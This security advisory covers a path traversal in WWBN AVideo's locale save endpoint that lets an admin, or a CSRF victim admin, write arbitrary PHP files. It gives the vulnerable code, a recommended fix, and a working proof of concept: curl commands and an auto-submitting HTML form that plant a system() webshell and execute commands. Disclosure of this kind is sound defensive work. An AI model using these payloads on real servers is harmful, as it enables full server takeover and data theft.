WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)
Published April 14, 2026Updated May 5, 2026Source: osv
Summary
## Summary
The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.
## Details
In `locale/save.php`, the vulnerable code path is:
```php
// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
// ...
die(json_encode($obj));
}
// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";
// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);
```
**Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory.
The file content is constructed as:
```php
<?php
global $t;
{$_POST['code']} // attacker-controlled, written verbatim
```
An attacker can inject arbitrary PHP after closing the translation context (e.g., `$t["x"]=1;?><?php system($_GET["c"]);`).
**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.
## PoC
**Direct exploitation (requires admin session):**
```bash
# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
-X POST 'https://target/locale/save.php' \
-d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'
# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...
```
**CSRF variant (no direct admin access needed):**
Host the following HTML on an attacker-controlled site and lure an admin to visit:
```html
<html>
<body>
<form method="POST" action="https://target/locale/save.php">
<input type="hidden" name="flag" value="../../webshell">
<input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
```
After the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.
## Impact
- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.
- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
## Recommended Fix
Sanitize the `flag` parameter to prevent path traversal and add CSRF protection:
```php
// locale/save.php — after the admin check at line 14
// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
$obj->status = 0;
$obj->error = __("Invalid token");
die(json_encode($obj));
}
// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
$obj->status = 0;
$obj->error = __("Invalid locale flag");
die(json_encode($obj));
}
$file = $dir . $flag . ".php";
// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
$obj->status = 0;
$obj->error = __("Invalid file path");
die(json_encode($obj));
}
```
Additionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.
WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE) This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.7/10).
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Severity & Exploitability
CVSS Score
8.7
High exploitability or significant impact. Prioritize remediation within days.